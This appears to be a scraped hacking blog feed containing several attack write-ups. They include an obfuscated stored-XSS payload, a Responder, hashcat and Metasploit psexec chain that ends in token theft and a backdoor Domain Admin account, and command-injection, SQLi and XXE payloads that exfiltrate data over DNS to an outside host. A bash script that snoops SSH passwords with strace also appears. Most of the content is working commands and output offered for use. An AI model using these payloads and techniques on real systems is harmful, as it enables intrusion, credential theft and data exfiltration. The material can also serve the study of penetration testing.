<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-lmO4qrN1-uo/VmUDF1ismKI/AAAAAAAABQA/vx22gtC33RQ/s1600/ebay-05.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="292" src="https://3.bp.blogspot.com/-lmO4qrN1-uo/VmUDF1ismKI/AAAAAAAABQA/vx22gtC33RQ/s640/ebay-05.png" width="640" /></a></div>
<br />
<br />
Bingo! There are two variables that are rendered to the client!<br />
1. _odtTitle<br />
2. _odtSubTitle<br />
<br />
Now i need to write a working XSS for it with some evasions, because of simple filtration...<br />
<br />
Base payload:
<br />
<pre class="white">_odtTitle='\<script\>alert(\'xss by alexander korznikov\\n\\n\'\+document.domain);\<\/script\>';</pre>
<br />
Encoded with base64 and appended to listing description in <script> tag:<br />
<pre class="white"><script>
code = atob("X29kdFRpdGxlPSdcPHNjcmlwdFw+YWxlcnQoXCd4c3MgYnkgYWxleGFuZGVyIGtvcnpuaWtvdlxcblxcblwnXCtkb2N1bWVudC5kb21haW4pO1w8XC9zY3JpcHRcPic7")
window.onload = function() {
var s = document.createElement('script');
s.type = 'text/javascript';
s.text = code;
document.body.appendChild(s);
}
</script>
</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Pcq4MXqLcAU/VmUGTfmvC_I/AAAAAAAABQM/rfOQ3UHUKt8/s1600/ebay-08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="376" src="https://4.bp.blogspot.com/-Pcq4MXqLcAU/VmUGTfmvC_I/AAAAAAAABQM/rfOQ3UHUKt8/s640/ebay-08.png" width="640" /></a></div>
<br />
Thank you eBay for this cool challenge! :)<br />
<br />
P.S. But why did you managed to fix it for one year?<br />
<br /><p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com3tag:blogger.com,1999:blog-343942367941320523.post-51021240290861807162016-01-13T03:58:00.000+02:002016-07-17T07:03:09.717+03:00Network Penetration Testing. Domain Admin Quick Win #1.Let's start with sequence of posts about network penetration testing.<br />
<br />
In every Network PT, my goal is Domain Admin account.<br />
<br />
Every time get ethernet wall jack inside some organization, and start testing it without any prior knowledge about internal network topology, IP addresses etc.<br />
<br />
First of all, because of no knowledge if there is some implementation of NAC (Network Access Control), i perform a passive information gathering about the network, IP addresses etc.<br />
<br />
Configure your network-manager, that it will not request IP address from DHCP Server, to be quiet as possible.<br />
<br />
So I start listening to traffic with wireshark and go out to take a cigarette :)<br />
Almost every computer talks. Broadcasting...<br />
Even on small network, many many packets pass in.<br />
<br />
<b>REMEMBER</b>, Do not query DHCP Server for an IP Address!<br />
In first step there's only passive scanning. Fully promiscuous... :)<br />
<br />
When I come back from a smoke break, i've already got a list of stations broadcasting and exposing itselves.<br />
<br />
Wireshark > Statistics > Endpoint List > IPv4<br />
<br />
<div style="text-align: center;">
<a href="http://1.bp.blogspot.com/-om83RlssXq0/VpWWQABB0BI/AAAAAAAABQw/yefTnFqyBCY/s1600/111.png" imageanchor="1"><img border="0" height="640" src="http://1.bp.blogspot.com/-om83RlssXq0/VpWWQABB0BI/AAAAAAAABQw/yefTnFqyBCY/s640/111.png" width="476" /></a></div>
<br />
<div style="text-align: center;">
<a href="http://1.bp.blogspot.com/-3dAMHZyns5Y/VpWWu8267EI/AAAAAAAABQ8/UT2OlnsY6_A/s1600/Screenshot%2Bfrom%2B2016-01-13%2B02%253A13%253A44.png" imageanchor="1"><img border="0" height="368" src="http://1.bp.blogspot.com/-3dAMHZyns5Y/VpWWu8267EI/AAAAAAAABQ8/UT2OlnsY6_A/s640/Screenshot%2Bfrom%2B2016-01-13%2B02%253A13%253A44.png" width="640" /></a></div>
<br />
In terminal:<br />
<br />
<pre class="black"># nano a
Ctrl+Shift+V (paste)
Ctrl+X
y
# cat a | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > hosts.txt
</pre>
<br />
Let's assume that there is no NAC implemented (will talk about NAC Bypass in another post...)<br />
<br />
Now we have full network access including small list of active hosts.<br />
<br />
As always, i will have a windows based network, with Active Directory services and lot of workstations.<br />
<br />
What to do?<br />
Quick win: LLMNR & Netbios poisoning. Responder.<br />
<br />
As i understood from dozens network penetration testings, organizations have two major weaknesses:<br />
1. Weak password policy.<br />
2. Domain User == Local Administrator on his/her workstation.<br />
<br />
Responder will throw you large amount of NetNTLMv1/v2 hashes, that probably will be easy to crack.<br />
<br />
<i>/* Responder is very cool tool, that will answer to every LLMNR broadcast query, asking for downgrade to NETBIOS, and then request a hashed password.</i><br />
<i>It's based on human factor (typos), outdated scripts, laptops that making use of multiple networks, etc... */</i><br />
<br />
<a href="https://github.com/SpiderLabs/Responder" target="_blank">Download</a> and try it now :) it has many other features. Explore it in your free time.<br />
<br />
You will get hashes like these:<br />
<pre class="black">10.10.5.11/ntlmv2
johny::TESTDOMAIN:1122334455667788:37F142C48CDDAF40D03994F2F7D9268A:0101000000000000744DA7A6851FD101C0A9A16609D468450000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C0008003000300000000000000000000000003000001E52327CBAC7A0B551681A69D12FB2FEB6B6A0A623A978B286F031417EBFF8EF0A001000000000000000000000000000000000000900180063006900660073002F0053004900560052004F004E0031000000000000000000
10.10.5.229
michaelm::TESTDOMAIN:8F2D7E1914726F4600000000000000000000000000000000:C1703E5FC4241BDA1A2DDAF407575CF841AA97DF7B35720C:1122334455667788
10.10.5.45
billa::TESTDOMAIN:7DDDE7E2E16F906200000000000000000000000000000000:E9752EDD65C026A35108E52DAF408D17BF1348D70F3FCFA5:1122334455667788
10.10.5.175
elia::TESTDOMAIN:0B855CAC8F5D80AC00000000000000000000000000000000:C46289A8CE6ACEB37800F520943F7AA7DAF40289C3415636:1122334455667788
10.10.5.214
ilaib::TESTDOMAIN:6BA8A02F2F282DF200000000000000000000000000000000:8A7B2C2102323B363B0A6E7E3AE34018C06DAF40668B9000:1122334455667788
10.10.5.155
willk::TESTDOMAIN:EFA76E90191CE98700000000000000000000000000000000:D45E3A60B96D448D638DA9EA80171A78916A21DAF40B16CA:1122334455667788
10.10.5.6
maias::TESTDOMAIN:C57273ACF1084CCD00000000000000000000000000000000:785231FECE6A7BDAF40B21153D421DFB0C62E0095C96C311:1122334455667788
10.10.5.170
rachelp::TESTDOMAIN:AA736CB48DE1930800000000000000000000000000000000:619FF7277C2015CEADAF40D7A723D531E267A4DA07D62F79:1122334455667788
10.10.5.212
roberts::TESTDOMAIN:A1362DE2AFC18DAD00000000000000000000000000000000:60F60FB8ACDADEF7BDB5ED65751FFDAF4020280E02614360:1122334455667788
</pre>
<br />
NetNTLM hashes can be cracked with many tools, i prefer: <b><a href="http://www.openwall.com/john/" target="_blank">John-the-ripper </a>/ <a href="http://hashcat.net/oclhashcat/" target="_blank">cudaHashcat / oclHashcat</a></b><br />
<br />
In our first case, we successfully cracked some hash:<br />
<pre class="black"># cudaHashcat -m 5500 -a 0 responder_hashes.txt wordlist.txt</pre>
<pre class="black"># hashcat -m 5500 responder.txt --show
cudaHashcat v2.01 starting...
johny::TESTDOMAIN:8F2D7E1914726F4600000000000000000000000000000000:C1703E5FC4241BDA1ADEADBE77575CF841AA97DF7B35720C:1122334455667788:Qwerty123
billa::TESTDOMAIN:6BA8A02F2F282DF200000000000000000000000000000000:8A7B2C2102323DEADBEA6E7E3AE34018C06AE2F8668B9000:1122334455667788:Ma123456
michaelm::TESTDOMAIN:C57273ACF1084CCD00000000000000000000000000000000:785231FECE6A7BC8A33B21153D4DEADBEC62E0095C96C311:1122334455667788:Bi010203
</pre>
<br />
I like metasploit.<br />
<pre class="black"># msfconsole
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set smbdomain testdomain
msf exploit(psexec) > set smbuser johny
msf exploit(psexec) > set smbpass Qwerty123
msf exploit(psexec) > set rhost 10.10.5.11
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp_rc4
msf exploit(psexec) > set rc4password supersecret
msf exploit(psexec) > set LHOST <TAB><TAB>
msf exploit(psexec) > set lport 443
msf exploit(psexec) > run
[*] Started reverse TCP handler on 10.10.5.91:443
[*] Connecting to the server...
[*] Authenticating to 10.10.5.11:445 as user 'johny'...
[*] Selecting PowerShell target
[*] 10.10.5.11:445 - Executing the payload...
[+] 10.10.5.11:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957491 bytes) to 10.10.5.11
[*] Meterpreter session 1 opened (10.10.5.91:443 -> 10.10.5.11:56019) at 2016-01-13 02:51:30 +0200
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
</pre>
Now we've got a workstation in this organization.<br />
<b><br /></b>
<b>Quick win #1 Pass the token (the simple way):</b><br />
meterpreter > ps<br />
<pre class="black">Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
192 904 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\csrss.exe
544 836 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
556 848 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
716 4 smss.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
1224 7016 schedhlp.exe x86 2 testdomain\domadmin C:\Program Files (x86)\Common Files\Acronis\Schedule2\schedhlp.exe
1232 920 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1336 920 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
1520 920 schedul2.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files (x86)\Common Files\Acronis\Schedule2\schedul2.exe
1672 920 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
1760 920 afcdpsrv.exe x86 0 NT AUTHORITY\SYSTEM c:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe
1924 920 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe
1988 920 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
2104 920 AppleMobileDeviceService.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
2436 920 LMS.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
2464 920 xrksmdb.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files (x86)\Xerox Office Printing\WorkCentre SSW\PrintingScout\xrksmdb.exe
2496 2808 RAVCpl64.exe x64 1 testdomain\johny C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
2500 920 iPodService.exe x64 0 NT AUTHORITY\SYSTEM C:\Program Files\iPod\bin\iPodService.exe
2524 1336 audiodg.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\audiodg.exe
2808 2768 explorer.exe x64 1 testdomain\johny C:\Windows\explorer.exe
2872 7016 egui.exe x64 2 testdomain\domadmin C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe
2908 2744 Paragon ExtFS for Windows.exe x86 1 testdomain\johny C:\Program Files (x86)\Paragon Software\Paragon ExtFS for Windows\Paragon ExtFS for Windows.exe
2936 2808 ipoint.exe x64 1 testdomain\johny C:\Program Files\Microsoft IntelliPoint\ipoint.exe
snip..
</pre>
<b>Stealing testdomain\domadmin token:
</b><br />
<pre class="black">meterpreter > migrate 2872
[*] Migrating from 12104 to 2872...
[*] Migration completed successfully.
meterpreter > shell
c:\<b>whoami</b>
<b>testdomain\domadmin</b>
c:\<b>net user domadmin /domain</b>
The request will be processed at a domain controller for domain testdomain.local
User name <b>domadmin</b>
Full name
Comment
..snip..
Global Group memberships <b>*Domain Admins</b> *Domain Users
..snip..
The command completed successfully.
c:\<b>net user support myPass123 /add /domain</b>
The request will be processed at a domain controller for domain testdomain.local
The command completed successfully.
c:\<b>net localgroup administrators support /add /domain</b>
The request will be processed at a domain controller for domain testdomain.local
The command completed successfully.
c:\<b>net group "Domain Admins" support /add /domain</b>
The request will be processed at a domain controller for domain testdomain.local
The command completed successfully.
</pre>
Game over.
<br />
<br />
Next post will be another examples gaining domain admin account.<br />
See you!
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com2tag:blogger.com,1999:blog-343942367941320523.post-6404527210587711942015-12-07T00:59:00.000+02:002016-07-17T07:02:49.300+03:00Out of Band Injection Testing: Free public NS Query serverIn case of blind injection testing, and in addition to <a href="http://www.korznikov.com/2015/08/get-remote-code-injeciton-feedback.html" target="_blank">previous post</a>, i'm launching a pilot version of my DNS Server (Free for now).<br />
<br />
Open up your terminal and connect to sudo.co.il on port 5353:<br />
<br />
<pre class="black">~# nc sudo.co.il 5353
<span style="color: #999999;">..snip..</span>
Your match string [a-z0-9]{5,} only [e.g. nicolas]: nicolas
Example query: nicolas-59.sudo.co.il
<span style="color: red;"><b>{"date": "06-Dec-2015", "query": "nicolas-59.sudo.co.il", "client": "74.125.44.140#47744:", "time": "17:27:44.409"}</b></span></pre>
<br />
In my last WebApplication Penetration Test, i was able to read source code of PHP application, and there was a place with exec() function.<br />
The problem that I didn't get any output, and regular techniques of "sleep 60" does not seems to be working.<br />
<br />
With my NS server I've successfully exfiltrated data over DNS queries.<br />
<br />
PHP source:<br />
<pre class="white">exec('/opt/someprogram "$filename" "$tmppath"')</pre>
<br />
Successful injection:
<br />
<pre class="white">/opt/someprogram blahblah.jpg /tmp/images<span style="color: red;">$(host pwned.sudo.co.il)</span></pre>
<br />
Get WGET Version with this technique:<br />
<pre class="white">/opt/someprogram blahblah.jpg /tmp/image<span style="color: red;">$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)</span></pre>
<br />
With this output:<br />
<pre class="white">{"date": "xx-xxx-2015", "query": "<span style="color: red;"><b>GNU-Wget-1134--a-non-interactive-network-retriever.sudo.co.il</b></span>", "client": "xx.xx.xx.xx#63325:", "time": "xx:xx:xx.xxx"}</pre>
<br />
It may be useful with Command Injection, for example:<br />
<pre class="white">$(host $RANDOM-test.sudo.co.il)
| ping $RANDOM-test.sudo.co.il |
&& nslookup nslookup-test.sudo.co.il &&</pre>
<br />
Blind SQL Injection like this:<br />
<pre class="white">SELECT * FROM products WHERE id=1||UTL_HTTP.request('http://sqli-test.sudo.co.il/') --</pre>
<br />
External ENTITY Injection:<br />
<pre class="white"><!ENTITY dtd SYSTEM "http://xxe-test.sudo.co.il/file.dtd">%dtd</pre>
<br />
and more.<br />
<br />
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
For now, it's FREE but with limited support. (you may
<input name="cmd" type="hidden" value="_s-xclick" />
<input name="encrypted" type="hidden" value="-----BEGIN PKCS7-----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-----END PKCS7-----
" />
<input alt="PayPal - The safer, easier way to pay online!" border="0" name="submit" type="submit" value="donate" />
some $$$ if you love using it :)</form>
<br />
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height:20px;width:20px;"/></a>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-56965753060010049942015-10-01T01:45:00.000+03:002016-07-17T07:02:29.884+03:00SSH Snooping in actionGot root via local privilege escalation exploit? Want his password, but can't crack?<br />
<br />
You may try ssh snooping..<br />
<br />
<pre class="black">#!/bin/bash
while true; do
ps_test=`ps ax|grep sshd|grep -v grep|grep priv|tr -s ' '`
if [ -n "$ps_test" ]
then
f=$RANDOM
a="output$RANDOM.log"
strace -e trace=read -p $(echo $ps_test | awk '{print $1}') -o $f
cat $f | grep 'read(6,' > $a
rm $f
chown root:root $a
chmod 600 $a
else
echo -e ".\c"
sleep 0.1
fi
done
</pre>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/U9XgSe0MHm0/0.jpg" src="https://www.youtube.com/embed/U9XgSe0MHm0?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />
<p><a class="twitter-follow-button" data-show-count="false" href="https://twitter.com/nopernik">Follow @nopernik</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" 